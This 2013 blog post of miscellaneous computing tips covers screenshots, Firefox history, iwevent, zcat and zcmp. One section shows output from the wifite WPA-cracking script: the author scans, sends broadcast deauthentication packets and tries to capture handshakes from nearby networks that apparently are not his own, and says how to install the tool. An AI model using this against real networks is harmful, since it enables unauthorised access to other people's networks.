Some misc computing tricks that are very useful indeed in your day to day desktop usage.

Posted: September 10, 2013. At: 8:50 PM. This was 4 years ago. Post ID: 6238

How to take a screenshot on Macintosh OSX: http://guides.macrumors.com/Taking_Screenshots_in_Mac_OS_X.

To delete your Internet history quickly in Firefox; use the Ctrl-Shift-Del keyboard combination. You will be presented with a dialog that allows you to select the time period to erase.

Watch the original Star Wars movie in ASCII with this awesome website: http://asciimation.co.nz/.

How to monitor events on your wireless network with the iwevent command for Linux Mint.

homer@deep-thought ~/Documents $ iwevent 
Waiting for Wireless Events from interfaces...
20:55:30.615515   wlan0    Scan request completed
20:57:30.619451   wlan0    Scan request completed

Type man iwevent to read more about this command.

This is sample output from the wifite Python script. This automates the cracking of wireless networks using the aircrack-ng suite. You just run the wifite command as root and it will scan for wireless networks near you. Then press Ctrl-C when you are ready to select a network to attack.

   NUM ESSID                 CH  ENCR  POWER  WPS?  CLIENT
   --- --------------------  --  ----  -----  ----  ------
    1  DalekExterminat...   6  WPA2  62db    no   client
    2  GTLHOME                6  WPA   57db    no 
 
 [+] select target numbers (1-2) separated by commas, or 'all': 2
 
 [+] 1 target selected.
 
 [0:08:20] starting wpa handshake capture on "GTLHOME"
 [0:07:30] sending 1 deauth to *broadcast*... sent        
 (^C) WPA handshake capture interrupted
 
 [+] 1 attack completed:
 
 [+] 0/1 WPA attacks succeeded
 
 [+] disabling monitor mode on mon0... done
 [+] quitting

Here I am trying to get into a wireless network. This might not actually work since it is using WPA2; but it is just to test the script anyway.

 NUM ESSID                 CH  ENCR  POWER  WPS?  CLIENT
   --- --------------------  --  ----  -----  ----  ------
    1  Optus486789686676787   6  WPA2  60db    no   client
    2  GTLHOME                6  WPA   57db    no 
    3  NetComm Wireless       1  WPA2  47db    no 
 
 [+] select target numbers (1-3) separated by commas, or 'all': 3
 
 [+] 1 target selected.
 
 [0:08:20] starting wpa handshake capture on "NetComm Wireless"
 [0:08:10] sending 1 deauth to *broadcast*...

Type sudo apt-get install wifite to install this useful script.

How to read a gzipped text file on the command line. Use the zcat command for this task.

deep-thought apache2 # zcat access.log.2.gz 
::1 - - [25/Aug/2013:11:19:31 +1000] "OPTIONS * HTTP/1.0" 200 126 "-" "Apache/2.2.22 (Ubuntu) (internal dummy connection)"
::1 - - [25/Aug/2013:11:19:31 +1000] "OPTIONS * HTTP/1.0" 200 126 "-" "Apache/2.2.22 (Ubuntu) (internal dummy connection)"
::1 - - [25/Aug/2013:11:19:31 +1000] "OPTIONS * HTTP/1.0" 200 126 "-" "Apache/2.2.22 (Ubuntu) (internal dummy connection)"
::1 - - [01/Sep/2013:08:11:12 +1000] "OPTIONS * HTTP/1.0" 200 126 "-" "Apache/2.2.22 (Ubuntu) (internal dummy connection)"
::1 - - [01/Sep/2013:08:11:12 +1000] "OPTIONS * HTTP/1.0" 200 126 "-" "Apache/2.2.22 (Ubuntu) (internal dummy connection)"
::1 - - [01/Sep/2013:08:11:12 +1000] "OPTIONS * HTTP/1.0" 200 126 "-" "Apache/2.2.22 (Ubuntu) (internal dummy connection)"
::1 - - [01/Sep/2013:08:11:12 +1000] "OPTIONS * HTTP/1.0" 200 126 "-" "Apache/2.2.22 (Ubuntu) (internal dummy connection)"
::1 - - [01/Sep/2013:08:11:12 +1000] "OPTIONS * HTTP/1.0" 200 126 "-" "Apache/2.2.22 (Ubuntu) (internal dummy connection)"

How to compare two gzipped files and see the differences. The zcmp command will compare two files

deep-thought apache2 # zcmp access.log.4.gz access.log.5.gz 
/dev/fd/5 - differ: byte 10, line 1

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